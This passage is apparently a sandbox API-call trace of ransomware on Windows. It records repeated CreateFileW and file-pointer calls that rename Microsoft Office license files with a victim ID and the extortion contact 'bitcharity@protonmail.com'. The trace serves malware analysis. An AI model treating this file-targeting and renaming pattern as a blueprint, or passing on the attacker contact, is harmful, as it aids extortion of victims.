SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.883] CloseHandle (hObject=0x1274) returned 1 [0250.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0250.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0250.883] lstrlenW (lpString=".doc") returned 4 [0250.884] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.884] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.884] CloseHandle (hObject=0x1274) returned 1 [0250.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0250.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0250.885] lstrlenW (lpString=".doc") returned 4 [0250.886] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.886] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.886] CloseHandle (hObject=0x1274) returned 1 [0250.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0250.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0250.887] lstrlenW (lpString=".doc") returned 4 [0250.887] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.887] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.887] CloseHandle (hObject=0x1274) returned 1 [0250.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0250.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0250.888] lstrlenW (lpString=".doc") returned 4 [0250.888] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.888] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.889] CloseHandle (hObject=0x1274) returned 1 [0250.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0250.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0250.890] lstrlenW (lpString=".doc") returned 4 [0250.892] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.893] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.893] CloseHandle (hObject=0x1274) returned 1 [0250.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0250.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0250.893] lstrlenW (lpString=".doc") returned 4 [0250.894] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.894] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.894] CloseHandle (hObject=0x1274) returned 1 [0250.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0250.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0250.894] lstrlenW (lpString=".doc") returned 4 [0250.895] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.895] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.895] CloseHandle (hObject=0x1274) returned 1 [0250.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0250.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0250.895] lstrlenW (lpString=".doc") returned 4 [0250.895] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.896] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.896] CloseHandle (hObject=0x1274) returned 1 [0250.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0250.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0250.896] lstrlenW (lpString=".doc") returned 4 [0250.897] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.897] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.897] CloseHandle (hObject=0x1274) returned 1 [0250.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0250.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0250.897] lstrlenW (lpString=".doc") returned 4 [0250.898] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.898] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.898] CloseHandle (hObject=0x1274) returned 1 [0250.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0250.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0250.898] lstrlenW (lpString=".doc") returned 4 [0250.899] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.899] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.899] CloseHandle (hObject=0x1274) returned 1 [0250.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0250.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0250.899] lstrlenW (lpString=".doc") returned 4 [0250.900] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.900] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.900] CloseHandle (hObject=0x1274) returned 1 [0250.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0250.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0250.901] lstrlenW (lpString=".doc") returned 4 [0250.901] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.901] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.901] CloseHandle (hObject=0x1274) returned 1 [0250.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0250.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0250.902] lstrlenW (lpString=".doc") returned 4 [0250.902] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.902] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.903] CloseHandle (hObject=0x1274) returned 1 [0250.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0250.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0250.903] lstrlenW (lpString=".doc") returned 4 [0250.904] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.904] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.904] CloseHandle (hObject=0x1274) returned 1 [0251.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0251.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0251.172] lstrlenW (lpString=".doc") returned 4 [0251.173] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.173] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.174] CloseHandle (hObject=0x1274) returned 1 [0251.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0251.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0251.174] lstrlenW (lpString=".doc") returned 4 [0251.175] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.175] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.176] CloseHandle (hObject=0x1274) returned 1 [0251.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0251.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0251.176] lstrlenW (lpString=".doc") returned 4 [0251.178] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.178] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.178] CloseHandle (hObject=0x1274) returned 1 [0251.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0251.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0251.179] lstrlenW (lpString=".doc") returned 4 [0251.179] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.180] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.180] CloseHandle (hObject=0x1274) returned 1 [0251.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0251.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0251.180] lstrlenW (lpString=".doc") returned 4 [0251.181] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.181] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.181] CloseHandle (hObject=0x1274) returned 1 [0251.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0251.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0251.181] lstrlenW (lpString=".doc") returned 4 [0251.182] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.182] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.182] CloseHandle (hObject=0x1274) returned 1 [0251.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0251.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0251.182] lstrlenW (lpString=".doc") returned 4 [0251.183] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.183] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.183] CloseHandle (hObject=0x1274) returned 1 [0251.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0251.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0251.183] lstrlenW (lpString=".doc") returned 4 [0251.184] SetFilePointerEx 